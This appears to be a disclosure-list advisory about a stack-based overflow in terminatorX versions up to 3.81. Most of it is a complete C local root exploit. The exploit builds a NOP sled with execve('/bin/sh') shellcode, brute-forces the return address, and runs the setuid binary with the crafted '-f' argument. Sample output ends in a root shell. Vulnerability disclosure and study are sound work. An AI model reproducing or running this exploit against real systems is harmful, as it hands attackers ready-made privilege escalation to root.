terminatorX Exploitable Stack-Based Overflow (load_tt_part())
------------------------------------------------------------------------
SUMMARY
There is a stack-based overflow which is likely to be exploited locally
in order to cause the product to execute malicious code, allowing a
local attacker to gain elevated privileges. Several vulnerabilities has been reported: three stack-based overflows and a format string bug. The
following code can be used to test the software for the stack-based
overflow vulnerability located in the load_tt_part() function of the
src/mastergui.cc file. For further informations, please read the related
advisory which can be reached here [1].
DETAILS
Vulnerable systems:
* terminatorX version <= 3.81 (current version)
EXPLOIT
The following piece of code is attached to this mail.
/* TerminatorX V. <= 3.81 local root exploit by Li0n7
*
* Typical local stack-based overflow
*
* Bugs discovered by c0wboy (c0w...@tiscali.it) from 0x333 (www.0x333.org)
*
* Related advisory: http://www.packetstormsecurity.nl/0311-advisories/outsiders-terminato...
*
* Visit us: www.ioc.fr.st
*
* Contact me Li0n7[at]voila[dot]fr
*
* Usage: ./terminatorX-exp [-r <RET>][-b [-s <STARTING_RET>]]
*
* -r <RET>: no bruteforcing, try to execute shellcode with <RET> as return address
* -b: enables bruteforcing
* -s: bruteforces by using return address from <STARTING_RET> to 0x00000000
*
* Example:
*
*root@li0n7:/tmp/test/exploits# ./terminatorX-exp -b
*
* exploit: terminatorX V. <= 3.81 local root exploit by Li0n7
* discoverer: c0wb0y (www.0x333.org)
* visit us: http://www.ioc.fr.st
* contact me: Li0n7[at]voila[dot]fr
* usage: ./xterminator2 [-r <RET>][-b [-s <STARTING_RET>]]
*
*[+] Starting bruteforcing...
*[+] Testing 0xbffff734...
*terminatorX Release 3.81 - Copyright (C) 1999-2003 by Alexander König
*terminatorX comes with ABSOLUTELY NO WARRANTY - for details read the license.
*...
*[+] Testing 0xbffff66c...
*terminatorX Release 3.81 - Copyright (C) 1999-2003 by Alexander König
*terminatorX comes with ABSOLUTELY NO WARRANTY - for details read the license.
*...
*tX: err: Error parsing terminatorXrc.
*tX: Failed loading terminatorXrc - trying to load old binary rc.
*+ tX_warning: LADSPA_PATH not set. Trying /usr/lib/ladspa:/usr/local/lib/ladspa
** tX_error: tX: Error: couldn't access directory "/usr/lib/ladspa".
*+ tX_warning: Plugin "Sine Oscillator (Freq:audio, Amp:audio)" disabled. Not a 1-in/1-out plugin.
*+ tX_warning: Plugin "Sine Oscillator (Freq:control, Amp:control)" disabled. Not a 1-in/1-out plugin.
*+ tX_warning: Plugin "Stereo Amplifier" disabled. Not a 1-in/1-out plugin.
*+ tX_warning: Plugin "White Noise Source" disabled. Not a 1-in/1-out plugin.
*warning: failed to load external entity "%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%9 0%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%9 0%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%9 0%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%9 0%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%9 0%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%9 0%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%9 0%901%C0Ph//shh/bin%89%E3PS%89%E1%99%B0%0B%CD%80l%F6%FF%BFl%F6%FF%BFl%F6%FF %BFl%F6%FF%BFl%F6%FF%BFl%F6%FF%BFl%F6%FF%BFl%F6%FF%BFl%F6%FF%BFl%F6%FF%BFl% F6%FF%BFl%F6%FF%BFl%F6%FF%BFl%F6%FF%BFl%F6%FF%BFl%F6%FF%BFl%F6%FF%BFl%F6%FF %BFl%F6%FF%BFl%F6%FF%BF"
*
*** (terminatorX:3085): WARNING **: Invalid UTF8 string passed to pango_layout_set_text()
*sh-2.05b# exit
*exit
*[+] Exited: shell's ret code = 0
*[+] Ret address found: 0xbffff66c
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <errno.h>
#define BSIZE 200
#define D_START 0xbffff734
#define PATH "/usr/local/bin/terminatorX"
#define RET 0xbffff69e
char shellcode[]=
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
char *buffer,*ptr;
void
checkme(char *buffer)
{
if(!buffer)
{
fprintf(stderr,"[-] Can't allocate memory,exiting...\n");
exit(0);
}
return;
}
void
exec_vuln()
{
execl(PATH,PATH,"-f",buffer,NULL);
}
int
tease()
{
pid_t pid;
pid_t wpid;
int status;
pid = fork();
if ( pid == -1 ) {
fprintf(stderr, " [-] %s: Failed to fork()\n", strerror(errno));
exit(13);
} else if ( pid == 0 ) {
exec_vuln();
} else {
wpid = wait(&status);
if ( wpid == -1 ) {
fprintf(stderr,"[-] %s: wait()\n", strerror(errno));
return 1;
} else if ( wpid != pid )
abort();
else {
if ( WIFEXITED(status) ) {
printf("[+] Exited: shell's ret code = %d\n", WEXITSTATUS(status));
return WEXITSTATUS(status);
} else if ( WIFSIGNALED(status) ) {
return WTERMSIG(status);
} else {
fprintf(stderr, "[-] Stopped.\n");
}
}
}
return 1;
}
int
make_string(long ret_addr)
{
int i;
long ret,addr,*addr_ptr;
buffer = (char *)malloc(512);
if(!buffer)
{
fprintf(stderr,"[-] Can't allocate memory, exiting...\n");
exit(-1);
}
ret = ret_addr;
ptr = buffer;
memset(ptr,0x90,BSIZE-strlen(shellcode));
ptr += BSIZE-strlen(shellcode);
for(i=0;i<strlen(shellcode);i++)
*ptr++ = shellcode[i];
addr_ptr = (long *)ptr;
for(i=0;i<20;i++)
*(addr_ptr++) = ret;
ptr = (char *)addr_ptr;
*ptr = 0;
return 0;
}
int
bruteforce(long start)
{
int ret;
long i;
fprintf(stdout,"[+] Starting bruteforcing...\n");
for(i=start;i<0;i=i-50)
{
fprintf(stdout,"[+] Testing 0x%x...\n",i);
make_string(i);
ret=tease();
if(ret==0)
{
fprintf(stdout,"[+] Ret address found: 0x%x\n",i);
break;
}
}
return 0;
}
void
banner(char *argv0)
{
fprintf(stderr,"\n exploit: terminatorX V. <= 3.81 local root exploit by Li0n7\n");
fprintf(stderr," discoverer: c0wb0y (
www.0x333.org)\n");
fprintf(stderr," visit us:
http://www.ioc.fr.st\n");
fprintf(stderr," contact me: Li0n7[at]voila[dot]fr\n");
fprintf(stderr," usage: %s [-r <RET>][-b [-s <STARTING_RET>]]\n\n",argv0);
}
int
main(int argc,char *argv[])
{
char * option_list = "br:s:";
int option,brute = 0, opterr = 0;
long ret,start = D_START;
banner(argv[0]);
if (argc < 1) exit(-1);
while((option = getopt(argc,argv,option_list)) != -1)
switch(option)
{
case 'b':
brute = 1;
break;
case 'r':
ret = strtoul(optarg,NULL,0);
make_string(ret);
tease();
exit(0);
break;
case 's':
start = strtoul(optarg,NULL,0);
break;
case '?':
fprintf(stderr,"[-] option \'%c\' invalid\n",optopt);
banner(argv[0]);
exit(-1);
}
if(brute)
bruteforce(start);
return 0;
}
CREDITS
Vulnerabilities reported by c0wboy (c0w...@tiscali.it) from 0x333 [2].
REFERENCES
[1] http://www.packetstormsecurity.nl/0311-advisories/outsiders-terminato...
[2] http://www.0x333.org
